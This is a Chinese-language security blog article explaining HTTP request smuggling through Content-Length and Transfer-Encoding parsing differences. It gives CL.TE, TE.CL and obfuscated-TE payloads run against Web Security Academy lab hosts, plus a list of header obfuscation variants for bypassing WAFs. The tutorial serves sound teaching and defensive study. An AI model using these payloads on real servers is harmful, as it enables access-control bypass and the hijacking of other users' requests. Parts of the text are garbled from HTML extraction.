2025-12-29 00:30:52 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文解析HTTP请求走私原理，源于前后端对Content-Length与Transfer-Encoding解析差异。阐述CL.TE、TE.CL及TE混淆攻击向量，展示利用管道复用机制注入隐藏请求或绕过WAF的方法。结合RFC与Payload示例，揭示协议解析模糊性的风险，帮助安全人员掌握漏洞本质与防御。 综合评分： 86 文章分类： 漏洞分析,WEB安全,渗透测试,漏洞POC,红队

cover_image

HTTP请求走私漏洞原理

原创

破阵攻防实验室

2025年12月28日 13:30 辽宁

免责声明

由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失，均由使用者本人承担，破阵攻防实验室及文章作者不承担任何责任。如有侵权烦请告知，我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。

0x00 前言

相关链接在文末，如有兴趣，可自行查看！

0x01 HTTP请求走私原理

在了解 HTTP 请求走私之前，需要知道 HTTP 协议中的 Content-Length和 Transfer-Encoding这两个字段的作用。Content-Length 用于明确指示 HTTP 消息体的字节长度（以字节为单位）。Transfer-Encoding 用于定义消息体在传输过程中的编码方式，最常见的是 chunked（分块传输），其核心作用是：允许在不知道总长度的情况下传输数据。

HTTP 请求走私漏洞是利用不同网络组件（浏览器、反向代理、负载均衡器、后端服务器）对同一报文边界或头部（尤其 Content-Length与 Transfer-Encoding）的解释不一致来把 隐藏/额外的请求塞入合法请求流，从而让攻击者在别人的会话中注入请求、窃取/篡改响应、绕过访问控制或使服务器异常。此类攻击基于协议解析差异，而不是应用逻辑漏洞。

场景：前端服务器（例如代理服务器）负责安全控制，只有被允许的请求才能转发给后端服务器，而后端服务器无条件的相信前端服务器转发过来的全部请求，并对每一个请求都进行响应。

RFC 2616 中关于 HTTP 请求走私的内容描述

HTTP 报文由请求行、头部字段、空行和消息体组成。问题就出在“消息体（message-body）”的长度确定。

RFC 2616 明确了优先级：Transfer-Encoding > Content-Length > 连接关闭。但并未强制要求服务器在同时出现两者时必须拒绝请求。它只说 “If Transfer-Encoding is present… then the transfer-length is defined by that header”。因此，不同实现（代理、Web 服务器）对这种情况的处理不一致：有的按 Transfer-Encoding，有的按 Content-Length。这种模糊性导致解析差异，是 HTTP 请求走私的根本原因。

当使用 Transfer-Encoding: chunked 时，消息体由若干“块（chunk）”组成。只有遇到“大小为 0 的块”才表示结束。

当服务器依据 Transfer-Encoding: chunked对 HTTP 数据包进行处理时，在消息体中遇到下面一串字符，服务器会认为消息体到这里就结束了！

0\r\n\r\n

当使用 Content-Length 时，消息体的有效长度由 Content-Length 的值控制，Content-Length 的值只有在大于等于 0 时才是有效的，多余的消息体会被放到 HTTP 缓冲区中。

如果服务器 A 认为这是 chunked，而服务器 B 认为这是固定长度，则二者对“结束位置”的理解不同。

HTTP1.1 中有一个 Connection: Keep-alive的特征，其作用是告诉服务器，处理完这个 HTTP 请求后不要关闭 TCP 连接，对后面访问这台服务器的 HTTP 请求重用这个 TCP 连接，这样只需要进行一次 TCP 握手的过程，可以减少服务器的开销，节约资源，还能加快访问速度。

HTTP Pipeline 是 HTTP/1.1 的一个特性，允许在同一个 TCP 连接上，不必等待前一个请求的响应，就可以连续发送多个请求，如

客户端 → TCP连接 → 服务器客户端发送：GET /page1 HTTP/1.1Host: example.com
GET /page2 HTTP/1.1Host: example.com
GET /page3 HTTP/1.1Host: example.com

上面三个请求连续发送，不必等待第一个响应；

服务器在处理时必须按顺序处理并返回响应：

TTP/1.1 200 OK...响应1...
HTTP/1.1 200 OK...响应2...
HTTP/1.1 200 OK...响应3...

pipeline 中多个请求共享同一连接，如果前端与后端对报文边界解析不一致（分别按照Content-length和 Transfer-Encoding: chunked进行解析），容易导致 HTTP 请求走私！

可以利用 HTTP 请求走私漏洞绕过一些 WAF！

影响范围：Nginx<1.17.7

0x02 CL.TE Bypass

CL.TE 代表当 HTTP 请求包中同时存在 Content-length与 Transfer-Encoding字段时，前端服务器按照 Content-Length字段处理 HTTP 请求包，后端服务器按照 Transfer-Encoding字段处理 HTTP 请求包！

构造payload

POST&nbsp;/&nbsp;HTTP/1.1Host:&nbsp;0a48003804f775188128257c00f30019.web-security-academy.netConnection:&nbsp;keep-aliveContent-Type:&nbsp;application/x-www-form-urlencodedContent-Length:&nbsp;6Transfer-Encoding:&nbsp;chunked
0
G

这里前端服务器按照 Content-Length获取有效消息体，这里将 Content-length设置为 6

0\r\n\r\nG

注：这里需要关闭 Update Content-Length，以防止自动更新 Content-Length字段

当后端服务器收到该请求后，按照 Transfer-Encoding获取消息体的有效长度，当读到

0\r\n\r\n

时认为消息体已经结束了，字符G被放到了 pipeline 中，当处理下一个请求时会将字符 G及下一个 HTTP 请求包从 pipeline 中取出并作为下一个请求，当字符 G 与下一个 POST 请求包拼接时，HTTP 请求方法就变成了 GPOST！

0x03 TE.CL Bypass

TE.CL 代表当 HTTP 请求包中同时存在 Content-length与 Transfer-Encoding字段时，前端服务器按照 Transfer-Encoding字段处理 HTTP 请求包，后端服务器按照 Content-Length字段处理 HTTP 请求包！

POST&nbsp;/ HTTP/1.1Host:&nbsp;0ad9004a0451169e80507c0400a90076.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length:&nbsp;4Transfer-Encoding: chunked
5cGPOST&nbsp;/ HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-length:&nbsp;15
x=1
0

0x04 Obfuscating TE

前端和后端服务器都支持 Transfer-Encoding，通过混淆能让它们在处理时产生分歧！

POST&nbsp;/ HTTP/1.1Host:&nbsp;0a9c0091041b6e74819d534700790088.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length:&nbsp;4Transfer-Encoding: chunkedTransfer-encoding: cow
5cGPOST&nbsp;/ HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length:&nbsp;15x=10

其他可用于 TE 混淆的 payload

Transfer-Encoding: xchunkedTransfer-Encoding[空格]: chunkedTransfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[tab]chunked[空格]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding: chunked

0x05 HTTP请求走私绕WAF原理

这里首先要明白一个点：pipeline 是在后端服务器中的！

前端服务器（用于安全检查的服务器）按照 Content-Length或 Transfer-Encoding指定的长度或特定结束标识符检查对应长度的内容，若内容没有问题，会将整个 HTTP 请求包发送到后端服务器，这样就能利用 Content-Length指定的长度或 Transfer-Encoding特定结束标识符绕过 WAF 检测，多余的内容存放在后端服务器的 pipeline 中！